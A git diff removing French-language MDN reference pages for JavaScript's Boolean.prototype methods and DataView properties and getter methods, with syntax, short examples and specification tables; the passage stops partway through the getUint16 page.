diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/tosource/index.html deleted file mode 100644 index c40a6885ad..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/boolean/tosource/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Boolean.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/Boolean/toSource -tags: - - Boolean - - JavaScript - - Méthode - - Non-standard - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource ---- -
{{JSRef}} {{Non-standard_header}}
- -

La méthode toSource() renvoie une chaine de caractères représentant le code source de l'objet.

- -

Syntaxe

- -
booleanObj.toSource()
-Boolean.toSource()
- -

Valeur de retour

- -

Une chaîne de caractères représentant le code source de l'objet.

- -

Description

- -

La méthode toSource renvoie les valeurs suivantes :

- -
    -
  • Pour l'objet natif {{jsxref("Boolean")}} object, toSource renvoie la chaîne de caractères suivantes qui indique que le code source n'est pas disponible : - - 
    function Boolean() {
-    [native code]
-}
-
    -
    • -
  • Pour les instances de {{jsxref("Boolean")}}, toSource renvoie une chaîne explicitant le code source de l'objet.
    • -
- -

Cette méthode est généralement utilisée de façon interne par le moteur JavaScript et n'est pas appelée explicitement dans des scripts.

- -

Spécifications

- -

Ne fait partie d'aucun standard. Implémentée avec JavaScript 1.3.

- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Boolean.toSource")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/tostring/index.html deleted file mode 100644 index e1e7ab0dcc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/boolean/tostring/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Boolean.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Boolean/toString -tags: - - Boolean - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaine de caractères correspondant à l'objet Boolean courant.

- -
{{EmbedInteractiveExample("pages/js/boolean-tostring.html")}}
- - - -

Syntaxe

- -
bool.toString()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente l'objet {{jsxref("Boolean")}}.

- -

Description

- -

L'objet {{jsxref("Boolean")}} surcharge la méthode toString() de l'objet {{jsxref("Object")}} ; il n'hérite pas de la méthode {{jsxref("Object.prototype.toString()")}}. Pour les objets de type Boolean, la méthode toString() renvoie une chaine de caractère representative de l'objet.

- -

La méthode toString() est automatiquement appelée quand le Boolean doit être representé comme une texte ou lorsque qu'il est concaténé avec une chaine de caractères.

- -

Pour les objets de type Boolean , la fonction native toString() renvoie la chaine de caractère "true" ou "false" en fonction de la valeur de l'objet.

- -

Exemples

- -

Utiliser toString()

- -

Dans ce code, flag.toString() renvoie "true" :

- -
var flag = new Boolean(true);
-var maVar = flag.toString();
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.6.4.2', 'Boolean.prototype.toString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype.tostring', 'Boolean.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Boolean.toString")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/valueof/index.html deleted file mode 100644 index 5f14a8bff9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/boolean/valueof/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Boolean.prototype.valueOf() -slug: Web/JavaScript/Reference/Objets_globaux/Boolean/valueOf -tags: - - Boolean - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf ---- -
{{JSRef}}
- -

La méthode valueOf() renvoie la valeur primitive de l'objet {{jsxref("Boolean")}}.

- -
{{EmbedInteractiveExample("pages/js/boolean-valueof.html")}}
- - - -

Syntaxe

- -
bool.valueOf()
- -

Valeur de retour

- -

La valeur primitive associée à l'objet {{jsxref("Boolean")}}.

- -

Description

- -

La méthode valueOf() de {{jsxref("Boolean")}} renvoie la valeur primitive d'un objet Boolean, ou d'un littéral booléen.

- -

Cette méthode est généralement utilisée de façon interne pas le moteur JavaScript et n'est pas utilisée explicitement dans les scripts.

- -

Exemples

- -

Utiliser valueOf()

- -
var x = new Boolean();
-var maVar = x.valueOf()      // assigne false à maVar
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.6.4.3', 'Boolean.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype.valueof', 'Boolean.prototype.valueOf')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Boolean.valueOf")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.valueOf()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/buffer/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/buffer/index.html deleted file mode 100644 index 3b88dd7b93..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/buffer/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: DataView.prototype.buffer -slug: Web/JavaScript/Reference/Objets_globaux/DataView/buffer -tags: - - DataView - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/buffer ---- -
{{JSRef}}
- -

L'accesseur buffer est une propriété représentant l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} référencé par la vue DataView lors de sa construction.

- -
{{EmbedInteractiveExample("pages/js/dataview-buffer.html")}}
- - - -

Syntaxe

- -
dataview.buffer
- -

Description

- -

La propriété buffer est un accesseur/mutateur dont le mutateur correspondant vaut undefined, cela signifie qu'il n'est possible que de lire cette propriété. Sa valeur est établie lors de la construction de l'objet DataView et ne peut pas être modifiée.

- -

Exemples

- -

Utilisation de la propriété buffer

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.buffer; // ArrayBuffer { byteLength: 8 }
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-dataview.prototype.buffer', 'DataView.prototype.buffer')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.buffer")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/bytelength/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/bytelength/index.html deleted file mode 100644 index d02edfb161..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/bytelength/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: DataView.prototype.byteLength -slug: Web/JavaScript/Reference/Objets_globaux/DataView/byteLength -tags: - - DataView - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/byteLength ---- -
{{JSRef}}
- -

L'accesseur byteLength est une propriété représentant la longueur, exprimée en octets, de cette vue depuis le début de l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} correspondant.

- -
{{EmbedInteractiveExample("pages/js/dataview-bytelength.html")}}
- - - -

Syntaxe

- -
dataview.byteLength
- -

Description

- -

La propriété byteLength est une propriété accesseur/mutateur dont le mutateur vaut  undefined. Cela signifie que cette propriété est en lecture seule. Cette valeur est déterminée lorsque l'objet DataView est construit et ne peut pas être changée. Si DataView ne définit pas de décalage avec byteOffset ou ne spécifie pas byteLength, ce sera la byteLength de l'objet ArrayBuffer ou SharedArrayBuffer référencé qui sera renvoyée.

- -

Exemples

- -

Utilisation de la propriété byteLength

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.byteLength; // 8 (correspond au byteLength du buffer)
-
-var dataview2 = new DataView(buffer, 1, 5);
-dataview2.byteLength; // 5 (correspond à la longueur utilisée pour la définition)
-
-var dataview3 = new DataView(buffer, 2);
-dataview3.byteLength; // 6 (en raison du décalage (offset) pour la construction du DataView)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-dataview.prototype.bytelength', 'DataView.prototype.byteLength')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.byteLength")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("SharedArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/byteoffset/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/byteoffset/index.html deleted file mode 100644 index 1f26b5827b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/byteoffset/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: DataView.prototype.byteOffset -slug: Web/JavaScript/Reference/Objets_globaux/DataView/byteOffset -tags: - - DataView - - JavaScript - - Propriété - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/byteOffset ---- -
{{JSRef}}
- -

La propriété byteOffset est un accesseur représentant le décalage, exprimé en octets, entre la vue et le début de l'objet {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}} correspondant.

- -
{{EmbedInteractiveExample("pages/js/dataview-byteoffset.html")}}
- - - -

Syntaxe

- -
dataview.byteOffset
- -

Description

- -

La propriété byteOffset est un accesseur/mutateur dont la fonction du mutateur vaut  undefined. Cela signifie que la propriété n'est accesssible qu'en lecture seule. La valeur de la propriété est définie lors de la construction de l'objet DataView et ne peut pas être modifiée.

- -

Exemples

- -

Utilisation de la propriété byteOffset

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.byteOffset; // 0 (aucun décalage)
-
-var dataview2 = new DataView(buffer, 3);
-dataview2.byteOffset; // 3 (décalage défini lors de la construction de la vue)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-dataview.prototype.byteoffset', 'DataView.prototype.byteOffset')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.byteOffset")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("SharedArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getbigint64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getbigint64/index.html deleted file mode 100644 index b5d6e40180..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getbigint64/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: DataView.prototype.getBigInt64() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getBigInt64 -tags: - - BigInt - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getBigInt64 ---- -
{{JSRef}}
- -

La méthode getBigInt64() permet de lire un entier signé sur 64 bits (type long long par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getbigint64.html")}}
- - - -

Syntaxe

- -
dataview.getBigInt64(positionOctet [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
littleEndian
-
{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
-
- -

Valeur de retour

- -

Une valeur {{jsxref("BigInt")}}

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getBigInt64()

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getBigInt64(0); // 0n
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour DataView.prototype.getBigInt64()
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getBigInt64")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("BigInt")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getbiguint64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getbiguint64/index.html deleted file mode 100644 index a7733aec6e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getbiguint64/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: DataView.prototype.getBigUint64() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getBigUint64 -tags: - - BigInt - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getBigUint64 ---- -
{{JSRef}}
- -

La méthode getBigUint64() permet de lire un entier non signé sur 64 bits (type unsigned long long par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getbiguint64.html")}}
- - - -

Syntaxe

- -
dataview.getBigUint64(positionOctet [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
littleEndian
-
{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
-
- -

Valeur de retour

- -

Une valeur {{jsxref("BigInt")}}

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getBigUint64()

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getBigUint64(0); // 0n
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour DataView.prototype.getBigUint64()
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getBigUint64")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
  • {{jsxref("BigInt")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat32/index.html deleted file mode 100644 index f8a07d3eff..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat32/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: DataView.prototype.getFloat32() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getFloat32 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getFloat32 ---- -
{{JSRef}}
- -

La méthode getFloat32() permet de lire un nombre flottant signé sur 32 bits à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getfloat32.html")}}
- - - -

Syntaxe

- -
dataview.getFloat32(positionOctet [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
littleEndian
-
{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
-
- -

Valeur de retour

- -

Un nombre flottant signé, sur 32 bits.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getFloat32

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getFloat32(1); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getfloat32', 'DataView.prototype.getFloat32')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getFloat32")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat64/index.html deleted file mode 100644 index b6f24fb7bc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getfloat64/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: DataView.prototype.getFloat64() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getFloat64 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getFloat64 ---- -
{{JSRef}}
- -

La méthode getFloat64() permet de lire un entier signé sur 64 bits (type double par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getfloat64.html")}}
- - - -

Syntaxe

- -
dataview.getFloat64(positionOctet [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
littleEndian
-
{{optional_inline}} indique si la valeur sur 64 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
-
- -

Valeur de retour

- -

Un nombre flottant signé sur 64 bits.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getFloat64

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getFloat64(0); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getfloat64', 'DataView.prototype.getFloat64')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getFloat64")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getint16/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getint16/index.html deleted file mode 100644 index 5a87490a9a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getint16/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: DataView.prototype.getInt16() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt16 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt16 ---- -
{{JSRef}}
- -

La méthode getInt16() permet de lire un entier signé sur 16 bits (type short par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getint16.html")}}
- - - -

Syntaxe

- -
dataview.getInt16(positionOctet [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
littleEndian
-
{{optional_inline}} indique si la valeur sur 16 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
-
- -

Valeur de retour

- -

Un entier signé sur 16 bits.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getInt16

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getInt16(1); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getint16', 'DataView.prototype.getInt16')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getInt16")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getint32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getint32/index.html deleted file mode 100644 index 74ffeb6a6b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getint32/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: DataView.prototype.getInt32() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt32 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt32 ---- -
{{JSRef}}
- -

La méthode getInt32() permet de lire un entier signé sur 32 bits (type long par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getint32.html")}}
- - - -

Syntaxe

- -
dataview.getInt32(positionOctet [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
littleEndian
-
{{optional_inline}} indique si la valeur sur 32 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
-
- -

Valeur de retour

- -

Un entier signé sur 32 bits.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getInt32

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getInt32(1); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getint32', 'DataView.prototype.getInt32')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getInt32")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getint8/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getint8/index.html deleted file mode 100644 index 4096b6736b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getint8/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: DataView.prototype.getInt8() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getInt8 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getInt8 ---- -
{{JSRef}}
- -

La méthode getInt8() permet de lire un entier signé sur 8 bits à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getint8.html")}}
- - - -

Syntaxe

- -
dataview.getInt8(positionOctet)
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
- -

Valeur de retour

- -

Un entier signé sur 8 bits.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

Il n'y a pas de contrainte d'alignement, les valeurs codées sur plusieurs octets peuvent être obtenues depuis n'importe quelle position.

- -

Exemples

- -

Utilisation de la méthode getInt8

- -
var buffer = new ArrayBuffer(8);
-var dataview = new DataView(buffer);
-dataview.getInt8(1); // 0
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-dataview.prototype.getint8', 'DataView.prototype.getInt8')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.DataView.getInt8")}}

- -

Voir aussi

- -
    -
  • {{jsxref("DataView")}}
    • -
  • {{jsxref("ArrayBuffer")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint16/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/getuint16/index.html deleted file mode 100644 index 9ab325e790..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/dataview/getuint16/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: DataView.prototype.getUint16() -slug: Web/JavaScript/Reference/Objets_globaux/DataView/getUint16 -tags: - - DataView - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/DataView/getUint16 ---- -
{{JSRef}}
- -

La méthode getUint16() permet de lire un entier non-signé sur 16 bits (type unsigned short par analogie avec C) à l'octet donné par rapport au début de {{jsxref("DataView")}}.

- -
{{EmbedInteractiveExample("pages/js/dataview-getuint16.html")}}
- - - -

Syntaxe

- -
dataview.getUint16(positionOctet [, littleEndian])
- -

Paramètres

- -
-
positionOctet
-
La position, exprimée en nombre d'octets depuis le début de la vue, à laquelle lire les données.
-
littleEndian
-
{{optional_inline}} indique si la valeur sur 16 bits est enregistrée dans l'ordre des octets {{Glossary("Endianness", "de poids faible")}}. Si le paramètre vaut false ou undefined, la valeur sera lue dans l'ordre des octets de poids forts.
-
- -

Valeur de retour

- -

Un entier sur 16 bits non signé.

- -

Erreurs renvoyées

- -
-
{{jsxref("RangeError")}}
-
Renvoyée si positionOctet est tel qu'il est en dehors de la vue.
-
- -

Description

- -

